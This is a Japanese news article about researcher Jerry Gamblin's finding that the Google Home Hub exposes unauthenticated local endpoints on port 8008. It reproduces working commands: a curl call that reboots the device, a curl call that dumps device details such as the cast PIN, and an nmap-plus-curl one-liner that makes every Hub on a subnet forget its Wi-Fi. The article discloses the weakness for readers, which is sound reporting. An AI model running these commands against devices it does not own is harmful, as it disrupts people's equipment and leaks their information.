セキュリティの普及活動家であるJerry Gamblinがポストした、主にXMLの行から成るコードは、Google Home Hubから容易に情報を取り出し、ときには一時的にそのデバイスを動かなくしてしまう。
Home Hubは要するに、Androidタブレットにスピーカーをくっつけた製品で、室内で使うGoogle Assistantデバイスとして設計されている。それは近くのWi-Fiアクセスポイントを見つけ、ユーザーはそのどれかに接続し、他のデバイスからビデオや写真を受信したり、リモートのコマンドを受け付けたりする。ビデオを受信するときには自分のPINを送信するし、また受け取るコマンドの中にはコマンドラインのクイックリブートもありえる。
問題のコマンドは、コマンドラインからの簡単なURL呼び出しで、明らかにセットアッププロセスの一部だ。ご自分で試したい人は’hub’のところをHome HubのローカルなIPアドレスに置換するとよい:
curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot
[ぼくはIoTのセキュリティのエキスパートではないが、不正なcurlコマンドでGoogleのHome Hubをリブートできるのはおかしいよね。]
これも1行のコード(curlコマンド)だが、マイクロサービスの数などの情報を暴露する:
$ curl -s http://hub:8008/setup/eureka_info | jq
{
"bssid": "cc:be:59:8c:11:8b",
"build_version": "136769",
"cast_build_revision": "1.35.136769",
"closed_caption": {},
"connected": true,
"ethernet_connected": false,
"has_update": false,
"hotspot_bssid": "FA:8F:CA:9C:AA:11",
"ip_address": "192.168.1.1",
"locale": "en-US",
"location": {
"country_code": "US",
"latitude": 255,
"longitude": 255
},
"mac_address": "11:A1:1A:11:AA:11",
"name": "Hub Display",
"noise_level": -94,
"opencast_pin_code": "1111",
"opt_in": {
"crash": true,
"opencast": true,
"stats": true
},
"public_key": "Removed",
"release_track": "stable-channel",
"setup_state": 60,
"setup_stats": {
"historically_succeeded": true,
"num_check_connectivity": 0,
"num_connect_wifi": 0,
"num_connected_wifi_not_saved": 0,
"num_initial_eureka_info": 0,
"num_obtain_ip": 0
},
"signal_level": -60,
"ssdp_udn": "11111111-adac-2b60-2102-11111aa111a",
"ssid": "SSID",
"time_format": 2,
"timezone": "America/Chicago",
"tos_accepted": true,
"uma_client_id": "1111a111-8404-437a-87f4-1a1111111a1a",
"uptime": 25244.52,
"version": 9,
"wpa_configured": true,
"wpa_id": 0,
"wpa_state": 10
}
そして下のnmap呼び出しは、ローカルなネットワーク上のすべてのデバイスが自分のWi-Fiを忘れてしまうので、もう一度セットアップしなければならない:
nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi
Gamblinも言っているが、これらのセキュリティホールは壊滅的ではないが要注意だ。これらのコマンドやツールを不正に実行できてしまうこと自体、よく言えば怠慢だし、悪く言えば危険だ。彼の指摘によると、このオープンなエンドポイントは何年も前からいろんなGoogleデバイスにある。だからこれはコードベースの正常な一部であり、Googleによるいたずらではない。
ここには、重大なものは何もないし、Home Hubが重要な医療機器を制御することもない。でも、このプラットホームを使ってるデバイスにセキュリティの欠陥があることは、知っておいて損はない。この場合はコマンドの不正実行やシステムの盗用だ。しかし今日はGrandpaの超複雑な写真フレームをリブートできるだけだが、明日になると誰かが、うちのおじいちゃんの酸素濃縮器をリブートするかもしれない。